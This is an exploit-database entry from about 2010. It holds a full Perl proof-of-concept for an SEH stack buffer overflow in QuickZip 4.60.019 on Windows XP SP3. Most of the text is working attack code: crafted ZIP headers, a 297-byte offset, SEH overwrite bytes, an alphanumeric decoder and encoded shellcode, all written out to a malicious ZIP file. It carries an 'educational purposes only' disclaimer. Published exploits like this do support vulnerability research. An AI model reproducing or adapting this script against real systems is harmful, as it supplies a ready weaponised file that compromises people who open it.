QuickZip 4.60.019 stack buffer overflow exploit for XP SP3.

2010.03.16
Credit: corelanc0d3r
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

# Exploit Title : QuickZip 4.60.019 Stack BOF - XP SP3 # OSVDB-ID : 62781 # Date : March 2nd 2010 # Author : corelanc0d3r # Bug found by : corelanc0d3r # Software Link : http://www.quickzip.org/downloads.html # Version : 4.60.019 # OS : Windows # Tested on : XP SP3 En (VirtualBox) - offset is 297. # You may have to change this to 294 # Type of vuln : SEH, with ppr from OS dll # Greetz to : Corelan Security Team # http://www.corelan.be:8800/index.php/security/corelan-team-members/ # ---------------------------------------------------------------------------------------------------- # Detailed write-up about this vulnerability and exploit # can be found at # http://www.offensive-security.com/blog/vulndev/quickzip-stack-bof-a-box-of-chocolates-part-2/ # ---------------------------------------------------------------------------------------------------- # Script provided 'as is', without any warranty. # Use for educational purposes only. # Do not use this code to do anything illegal ! # # Note : you are not allowed to edit/modify this code. # If you do, Corelan cannot be held responsible for any damages this may cause. # # # Code : print "|------------------------------------------------------------------|\n"; print "| __ __ |\n"; print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |\n"; print "| / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |\n"; print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |\n"; print "| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/ |\n"; print "| |\n"; print "| http://www.corelan.be:8800 |\n"; print "| |\n"; print "|-------------------------------------------------[ EIP Hunters ]--|\n\n"; print " --==[ Exploit for QuickZip 4.60.019 ]==-- \n\n"; my $sploitfile="corelansploit.zip"; my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00". "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00" . "\xe4\x0f" . "\x00\x00\x00"; my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14". "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\xe4\x0f". "\x00\x00\x00\x00\x00\x00\x01\x00". "\x24\x00\x00\x00\x00\x00\x00\x00"; my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00". "\x00\x01\x00\x01\x00". "\x12\x10\x00\x00". "\x02\x10\x00\x00". "\x00\x00"; print "[+] Preparing payload\n"; my $nseh="\x41\x41\x41\x41"; my $seh="\x65\x47\x7e\x6d"; my $payload = "B" x 297 . $nseh . $seh; my $predecoder = "\x59\x59\x59\x51\x5c"; my $decoder="\x25\x4A\x4D\x4E\x55". "\x25\x35\x32\x31\x2A". "\x2D\x55\x55\x55\x5F". "\x2D\x55\x55\x55\x5F". "\x2D\x56\x55\x56\x5F". "\x50". "\x25\x4A\x4D\x4E\x55". "\x25\x35\x32\x31\x2A". "\x2D\x2A\x6A\x31\x55". "\x2D\x2A\x6A\x31\x55". "\x2D\x2B\x5A\x30\x55". "\x50". "\x73\xf7"; $payload=$payload.$predecoder.$decoder; my $filltoecx="B" x (100-length($predecoder.$decoder)); my $shellcode = "IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BB". "ABXP8ABuJIhYXkOkXYt4vDjT4qYBNRQjfQO93TLKRQ00nkSFDLLKT6uLN". "kqV4HLKQnwPLKWF5hPOVxqeicryuQkayoKQU0lKplwTUtlKaUGLlKf4tE". "CHvaHjNkpJDXLKCjUp6aJKhcgGG9LKp4nk5QxnvQkOP1iPIlNLmTO0RTU". "ZjaZo4MUQO7M9Xqio9oKOGKcLQ4WXrUKnnkpZdds18kQvnkTLRknkpZUL". "WqJKlKtDlKUQJHk91Tq4wl3QXCmbs819xTk9HemYkr58LNRntNjLRrKXO". "lyoio9oNiBe34mkqnjxYr43LGwl7TBrJHLKyokOiomYCuUXQxrL0lupKO". "QxVSebTnPdbH0uRSsU1bLHQLq4tJNim6RvIoRuWtNio2BpMkI8NBRmmlK". "7uL7T1BKXQNKOyoYocXPstzQHq0cXWPQcsQRY1xFPRDp3rRcX0lQq0ncS". "phrCrOCBpefQkknhqL4dwbNiIsSXrEu4PXUpqxepvP47rNQxPb2ErE2NU". "8SQT6e5WPQxbOpu5psXQxE1CXgPPy0h1qrHCQcXPhrMpuSQphVQO9nh0L". "6DuNK9HatqKbPR3cV1RrYoxPDqkprpKObuvhA"; my $rest = "C" x (4064-length($payload.$filltoecx.$shellcode)) . ".txt"; $payload = $payload.$filltoecx.$shellcode.$rest; my $evilzip = $ldf_header.$payload.$cdf_header.$payload.$eofcdf_header; print "[+] Writing payload to file\n"; open(FILE,">$sploitfile"); print FILE $evilzip; close(FILE); print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";


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